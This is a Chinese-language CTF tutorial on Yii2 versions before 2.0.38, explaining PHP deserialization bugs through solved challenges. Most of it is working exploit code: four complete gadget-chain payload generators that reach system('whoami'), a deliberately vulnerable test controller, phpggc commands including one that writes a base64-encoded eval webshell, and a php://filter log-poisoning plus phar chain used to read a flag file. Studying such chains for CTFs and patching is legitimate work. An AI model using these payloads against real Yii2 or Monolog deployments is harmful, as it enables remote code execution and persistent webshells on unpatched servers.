Quelques exercices CTF sélectionnés vous aideront à apprendre le framework yii2 !

本篇文章带大家了解yii2框架，分享几道CTF习题，通过它们来学习yii2框架，希望对大家有所帮助。

Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架，Yii2 2.0.38 之前的版本存在反序列化漏洞，程序在调用unserialize()时，攻击者可通过构造特定的恶意请求执行任意命令，本篇就分析一下yii2利用链以及如何自己去构造payload，并结合CTF题目去学习yii2框架

Yii2＜2.0.38反序列化

安装：在 https://github.com/yiisoft/yii2/releases下载2.0.37的版本

然后在 yii-basic-app-2.0.37\basic\config\web.php里面往cookieValidationKey随意给点值，运行 php yii serve，新建一个控制器

yii-basic-app-2.0.37\basic\controllers\TestController.php

<?php
namespace app\controllers;
use yii\web\Controller;

class TestController extends Controller{
    public function actionTest($name){
        return unserialize($name);
    }
}

就可以进行测试了

?r=test/test&name=

链一

链的入口在

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php

public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }

跟进$this->reset();

public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }

这里的$this->_dataReader可控，并调用了close()方法，那么可以找到一个类不存在close()方法，但存在__call方法就可以调用他了

在yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php

public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

这里的$method为close，$attributes为空，继续跟进format

public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

跟进getFormatter

public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }

似曾相识的代码，laravel5.8某条链就出现过，这里$this->formatters可控，也就是$this->getFormatter($formatter)这这个可控，但是$arguments的值我们无法控制，值为空

到这里可以执行phpinfo了

<?php
namespace yii\db{
    class BatchQueryResult{
        private $_dataReader;
        public function __construct($_dataReader) {
            $this->_dataReader = $_dataReader;
        }
    }
}
namespace Faker{
    class Generator{
        protected $formatters = array();
        public function __construct($formatters) {
            $this->formatters = $formatters;
        }
    }
}
namespace {
    $a = new Faker\Generator(array(&#39;close&#39;=>&#39;phpinfo&#39;));
    $b = new yii\db\BatchQueryResult($a);
    print(urlencode(serialize($b)));
}

但是我们想要rce的话，还要在yii2中已有的无参方法中进行挖掘

这里我们可以使用正则匹配直接搜索含有call_user_function的无参函数

call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)

然后找到下面两个都比较好用

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php
public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

        return $this->prepareDataProvider();
    }

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php
public function run()
{
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
}

这里的$this->checkAccess和$this->id都是我们可控的

所以直接构造就行了

<?php
namespace yii\db{
    class BatchQueryResult{
        private $_dataReader;
        public function __construct($_dataReader) {
            $this->_dataReader = $_dataReader;
        }
    }
}
namespace Faker{
    class Generator{
        protected $formatters = array();
        public function __construct($formatters) {
            $this->formatters = $formatters;
        }
    }
}
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct($checkAccess,$id){
            $this->checkAccess = $checkAccess;
            $this->id = $id;
        }
    }
}
namespace {
    $c = new yii\rest\CreateAction(&#39;system&#39;,&#39;whoami&#39;);
    $b = new Faker\Generator(array(&#39;close&#39;=>array($c, &#39;run&#39;)));
    $a = new yii\db\BatchQueryResult($b);
    print(urlencode(serialize($a)));
}

链二

这个是yii2 2.0.37的另外一条链

起点和链一相同，是BatchQueryResult类的__destruct，然后是$this->_dataReader->close()，但是这里不找__call，我们去找存在close方法的类

找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php

class DbSession extends MultiFieldSession
{
...
public function close()
    {
        if ($this->getIsActive()) {
            // prepare writeCallback fields before session closes
            $this->fields = $this->composeFields();

这里跟进$this->composeFields()

abstract class MultiFieldSession extends Session
{
protected function composeFields($id = null, $data = null)
    {
        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];

这里$this->writeCallback可控，$this是一个对象，所以这里调phpinfo的话应该不行，不过可以续上链一的run方法（即那个无参的方法）

这里直接构造即可

<?php
namespace yii\db{
    class BatchQueryResult{
        private $_dataReader;
        public function __construct($_dataReader) {
            $this->_dataReader = $_dataReader;
        }
    }
}
namespace yii\web{
    class DbSession{
        public $writeCallback;
        public function __construct($writeCallback) {
            $this->writeCallback = $writeCallback;
        }
    }
}
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct($checkAccess,$id){
            $this->checkAccess = $checkAccess;
            $this->id = $id;
        }
    }
}
namespace {
    $c = new yii\rest\CreateAction(&#39;system&#39;,&#39;whoami&#39;);
    $b = new yii\web\DbSession(array($c, &#39;run&#39;));
    $a = new yii\db\BatchQueryResult($b);
    print(urlencode(serialize($a)));
}

链三

我们可以在yii2 2.0.38的commit看到他加了一个__wakeup

这里限制了链一的起点BatchQueryResult无法使用，后面的__call的链没有被破坏，所以我们继续寻找一个__destruct

yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php

public function __destruct()
    {
        $this->stopProcess();
    }

这里继续跟进stopProcess

public function stopProcess()
    {
        foreach (array_reverse($this->processes) as $process) {
            /** @var $process Process  **/
            if (!$process->isRunning()) {
                continue;
            }

这里的$this->processes可控，所以可以利用$process->isRunning()来进行触发__call

后面的利用就和链一相同了

<?php
namespace Codeception\Extension{
    class RunProcess{
        private $processes = [];
        public function __construct($processes) {
            $this->processes[] = $processes;
        }
    }
}
namespace Faker{
    class Generator{
        protected $formatters = array();
        public function __construct($formatters) {
            $this->formatters = $formatters;
        }
    }
}
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct($checkAccess,$id){
            $this->checkAccess = $checkAccess;
            $this->id = $id;
        }
    }
}
namespace {
    $c = new yii\rest\CreateAction(&#39;system&#39;,&#39;whoami&#39;);
    $b = new Faker\Generator(array(&#39;isRunning&#39;=>array($c, &#39;run&#39;)));
    $a = new Codeception\Extension\RunProcess($b);
    print(urlencode(serialize($a)));
}

链四

同样的先找__destruct

yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php

public function __destruct()
    {
        foreach ($this->keys as $nsKey => $null) {
            $this->clearAll($nsKey);
        }
    }

这里$nsKey可控，跟进clearAll

public function clearAll($nsKey)
    {
        if (array_key_exists($nsKey, $this->keys)) {
            foreach ($this->keys[$nsKey] as $itemKey => $null) {
                $this->clearKey($nsKey, $itemKey);
            }
            if (is_dir($this->path.'/'.$nsKey)) {
                rmdir($this->path.'/'.$nsKey);
            }
            unset($this->keys[$nsKey]);
        }
    }

这里没有触发__call的地方，但是存在字符串的拼接，可以触发__toString

随便找找就找到了yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php

public function __toString()
{
    return $this->__dom__->saveXML();
}

同样用他去触发__call

<?php
namespace {
    class Swift_KeyCache_DiskKeyCache{
        private $path;
        private $keys = [];
        public function __construct($path,$keys) {
            $this->path = $path;
            $this->keys = $keys;
        }
    }
}
namespace Codeception\Util{
    class XmlBuilder{
        protected $__dom__;
        public function __construct($__dom__) {
            $this->__dom__ = $__dom__;
        }
    }
}
namespace Faker{
    class Generator{
        protected $formatters = array();
        public function __construct($formatters) {
            $this->formatters = $formatters;
        }
    }
}
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct($checkAccess,$id){
            $this->checkAccess = $checkAccess;
            $this->id = $id;
        }
    }
}
namespace {
    $c = new yii\rest\CreateAction(&#39;system&#39;,&#39;whoami&#39;);
    $b = new Faker\Generator(array(&#39;saveXML&#39;=>array($c,&#39;run&#39;)));
    $a = new Codeception\Util\XmlBuilder($b);
    $d = new Swift_KeyCache_DiskKeyCache($a,array(&#39;kawhi&#39;=>&#39;kawhi&#39;));
    print(urlencode(serialize($d)));
}

phpggc

使用./phpggc -l yii2可以看到有两条yii2的链

可以使用如下命令快速得到链，-u指url编码

./phpggc Yii2/RCE1 system id -u

phpggc的链二的终点是一个eval，所以这里可以直接写shell，-b指base64编码

./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b

CTF题目

[HMBCTF 2021]framework

把题目附件解压，看到html\controllers\SiteController.php

class SiteController extends Controller
{
    public function actionAbout($message = 'Hello')
    {
        $data = base64_decode($message);
        unserialize($data);
    }

这里可以这样传参

?r=site/about&message=

拿链一打了一下，发现一下system等函数被ban

这里用phpggc yii2的链二写一个shell进去，然后用蚁剑的 apache/mod 绕 disable，运行 /readflag 即可获取 flag

[CISCN2021 Quals]filter

据说这是配置文件里面的重要内容，或许对你有用！！

        'log' => [
            'traceLevel' => YII_DEBUG ? 0 : 0,
            'targets' => [
                [
                    'class' => 'yii\log\FileTarget',
                    'levels' => ['error'],
                    'logVars' => [],
                ],
            ],
        ],

看到附件的SiteController.php就改了这个地方

public function actionIndex()
    {
        $file = Yii::$app->request->get('file');
        $res = file_get_contents($file);
        file_put_contents($file,$res);
        return $this->render('index');
    }

yii框架的runtime/logs目录下有一个app.log

看一下依赖发现monolog符合

"require": {
        "php": ">=5.6.0",
        "yiisoft/yii2": "~2.0.14",
        "yiisoft/yii2-bootstrap": "~2.0.0",
        "yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0",
    "monolog/monolog":"1.19"
    },

首先清空日志文件

?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

phpggc生成

php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"

写入日志，注意最后面要加个字符a

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保留phar的内容

/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

最后用phar协议打一下

/?file=phar://../runtime/logs/app.log/test.txt

然后在根目录找到This_is_flaaagggg

然后用这个找一下flag即可

php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"

本文涉及相关实验：PHP反序列化漏洞实验 （通过本次实验，大家将会明白什么是反序列化漏洞，反序列化漏洞的成因以及如何挖掘和预防此类漏洞。

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